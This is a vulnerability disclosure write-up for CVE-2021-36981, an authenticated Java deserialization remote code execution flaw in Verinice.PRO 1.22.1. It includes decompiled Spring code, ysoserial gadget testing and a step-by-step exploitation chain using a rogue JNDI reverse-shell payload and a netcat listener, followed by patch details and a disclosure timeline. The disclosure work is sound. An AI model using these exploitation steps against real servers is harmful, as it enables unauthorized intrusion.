Zum Hauptinhalt springen
CVE-2021-36981 - Verinice.Pro 1.22.1 Unsafe Java deserialization of untrusted data, leading to remote code execution (authenticated)

Details of the insecure Java deserialization in SerNet Verinice before 1.22.2 which allows remote…

CVE-2021-36981 - Verinice.Pro 1.22.1 Unsafe Java deserialization of untrusted data, leading to remote code execution (authenticated)

Details of the insecure Java deserialization in SerNet Verinice before 1.22.2 which allows remote authenticated attackers to execute arbitrary code.

The server verinice.PRO is a central add-on product for the desktop client verinice – transforming information security management with verinice to a enterprise solution using a central database and document management server. (https://verinice.com)

During research of possible vulnerabilities the (at this time current) downloadable appliance was used. Prior starting the tests the appliance was fully updated to the latest version of Verinice.Pro (1.22.1) and CentOS-7 running Kernel 3.10.0-1160.31.1.el7.x86_64 #1 SMP Thu Jun 10 13:32:12

Overview of the system architecture


Finding entry points and weak spots

While observing the communication from client to server with Burp we can see that the communication between server and client relies on serialized objects:

Ein Bild, das Text enthält. Automatisch generierte Beschreibung

For those not being familiar with serialization and deserialization take a look at https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html and of course https://frohoff.github.io/appseccali-marshalling-pickles/.

Looking at the source we see that the endpoint/bean commandServiceHttpInvoker uses the class org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter (ServiceInterface) which is present in /WEB-INF//lib/spring-web/org/springframework/remoting/httpinvoker/HttpInvokerServiceExporter.java

Ein Bild, das Text enthält. Automatisch generierte Beschreibung

Which we can see below uses ObjectInputStream to deserialize data

/* Location: /veriniceserver/WEB-INF/lib/spring-web/org/springframework/remoting/httpinvoker/HttpInvokerServiceExporter.class
/*     */ public class HttpInvokerServiceExporter
/*     */   extends RemoteInvocationSerializingExporter
/*     */   implements HttpRequestHandler
/*     */ {
/*     */   public void handleRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
/*     */     try {
/*  73 */       RemoteInvocation invocation = readRemoteInvocation(request);
/*  74 */       RemoteInvocationResult result = invokeAndCreateResult(invocation, getProxy());
/*  75 */       writeRemoteInvocationResult(request, response, result);
/*     */     }
/*  77 */     catch (ClassNotFoundException ex) {
/*  78 */       throw new NestedServletException("Class not found during deserialization", ex);
/*     */     }
/*     */   }
/*  96 */   protected RemoteInvocation readRemoteInvocation(HttpServletRequest request) throws IOException, ClassNotFoundException { return readRemoteInvocation(request, request.getInputStream()); }  
/*     */   protected RemoteInvocation readRemoteInvocation(HttpServletRequest request, InputStream is) throws IOException, ClassNotFoundException {
/* 115 */     ObjectInputStream ois = createObjectInputStream(decorateInputStream(request, is));
/*     */     try {
/* 117 */       return doReadRemoteInvocation(ois);
/*     */     } finally {
/*     */      
/* 120 */       ois.close();
/*     */     }
/*     */   }

and calling “doReadRemoteInvocation” which finally does the ois.readObject()

/* Location:  /veriniceserver/WEB-INF/lib/full-lib.zip!/spring-context/org/springframework/remoting/rmi/RemoteInvocationSerializingExporter.class
/*     */   protected RemoteInvocation doReadRemoteInvocation(ObjectInputStream ois) throws IOException, ClassNotFoundException {
/* 124 */     Object obj = ois.readObject();
/* 125 */     if (!(obj instanceof RemoteInvocation)) {
/* 126 */       throw new RemoteException("Deserialized object needs to be assignable to type [" + RemoteInvocation.class.getName() + "]: " + obj);
/*     */     }
/*     */    
/* 129 */     return (RemoteInvocation)obj;
/*     */   }


Finding working gadgets to exploit it

To find working gadgets we could either compare the used libraries/dependencies with known gadgets from Ysoserial https://github.com/frohoff/ysoserial or brute force every possibility.

As we wanted to test other endpoints as well, we decided to write a Python script which will care about login cookies, payload generation and sending the payload to the verinice server. The script can be found at https://github.com/0xBrAinsTorM/CVE-2021-36981

Login to the application server using the verinice client. Note down the JSESSIONID value. During bruteforce mode we still have some gadgets which need special commands and can’t be used to simply write files to disk like CP30, Hibernate and some more which will do remote object lookups instead. These required parameters are set in python source directly. To catch the lookup we ran a python SimpleHTTPServer Instance.

./send-verinice-deserial.py --ysoserial-path <path> <veriniceip:port> <endpoint url> <jsessionid-cookie> <gadgetname or bruteforce> <command to execute on the server>

As we can see, we got one hit on the object lookup which belongs to the C3P0 gadget trying to load a remote class:

Ein Bild, das Text enthält. Automatisch generierte Beschreibung

Also the gadget FileUpload1 seemed to have worked, as a file in /tmp/ is generated.


Ein Bild, das Text enthält. Automatisch generierte Beschreibung

Investigating the Verinice.Pro logs in verinice-server.log, the gadgets Hibernate1, Hibernate2, CommonsBeanUtils1, and Clojure raised an exception stating that theres a SerialVersionUID Mismatch:

AbstractType; local class incompatible: stream classdesc serialVersionUID = -428752683973550783, local class serialVersionUID = 1159131397804066629

Rhino Security Labs wrote a blogpost about how we may overcome this (https://rhinosecuritylabs.com/research/java-deserializationusing-ysoserial/) but as for now we are focusing on the C3P0 gadget to get a working remote code execution.


Get remote code execution on the Verinice server

Currently we only got a SSRF (Server Side Request Forgery) Vulnerability - https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html. To craft a working remote code execution we need to serve a Java Class to the Verinice.Pro Server. Usually, this feature is abused against vulnerability class JNDI injection for which we can use the rogue JNDI Server https://github.com/veracode-research/rogue-jndi

sudo apt install mvn

git clone github.com/veracode-research/rogue-jndi

cd rogue-jndi

Rogue JNDI comes with an reverse shell in ExportObject.java. To use it we need to simply uncomment the needed parts and set connect back ip and port. After that we can package Rogue JNDI:

mvn package

Getting all together we need Rogue JNDI serving our reverse shell payload on port 8000:

java -jar RogueJndi-1.1.jar -c "curl ht tp://"

Our Python script using gadget to load the remote object “:xExportObject” from Rogue JNDI:

./send-verinice-deserial.py --ysoserial-path /home/vagrant/workspace/ysoserial/ysoserial-master-d367e379d9-1.jar /veriniceserver/service/commandServiceHttpInvoker 29696C3C6460C24B379375177C3F1AC9 C3P0 ""

and a netcat listener to catch the incoming reverse shell:

nc -lvvp 1234

Gaining a shell


Because of using the same code the vulnerability affects all endpoints using the ObjectInputStream / readObject() i. e. authServiceHttpInvoker, taskServiceHttpInvoker, processServiceHttpInvoker

It is to mention that this vulnerability is not introduced by code from SerNet, instead this is a vulnerability in designing the application/communication. As the Spring Framework Documentation states:

WARNING: Be aware of vulnerabilities due to unsafe Java deserialization: Manipulated input streams could lead to unwanted code execution on the server during the deserialization step. As a consequence, do not expose HTTP invoker endpoints to untrusted clients but rather just between your own services. In general, we strongly recommend any other message format (e.g. JSON) instead.

Deprecated as of 5.3 (phasing out serialization-based remoting)

Source: https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/remoting/httpinvoker/HttpInvokerServiceExporter.html


Patch availability

An updated version of packages has been released to fix the issue. All users should install version 1.22.2 or later from the official repositories and/or the online shop:


Users of the verinice.PRO server should install the available RPM packages using their established update procedure.

Users of the verinice standalone client version will be offered to install the updated version during startup. If the automated update mechanism has been disabled by the user, the update can be manually triggered by accessing the following menu item: Help -> Check for Updates


Timeline of responsible disclosure

  • 2021-07-14 – Frank Nusko of SECIANUS GmbH & Co. KG notified SerNet about the bug
  • 2021-08-02 – SerNet has patch ready on source branch for testing
  • 2021-08-12 – SECIANUS GmbH & Co. KG verified the patch
  • 2021-08-30 – verinice 1.22.2 released, customers notified
  • 2022-04-22 – Release of details by SECIANUS GmbH & Co. KG



https://verinice.com/en/support/security-advisory (english)

https://verinice.com/support/sicherheitshinweise (german)

https://verinice.com/news/detail/security-release-verinice-1222-verfuegbar (german)




Kontakt können Sie auch persönlich mit einzelnen Partnern aufnehmen - gehen Sie dazu auf die Seite "Secianus - Unser Team" - hier können Sie bei den Personen auch den öffentl. Schlüssel als ZIP-Datei herunterladen.


Further Str. 14

D-90530 Wendelstein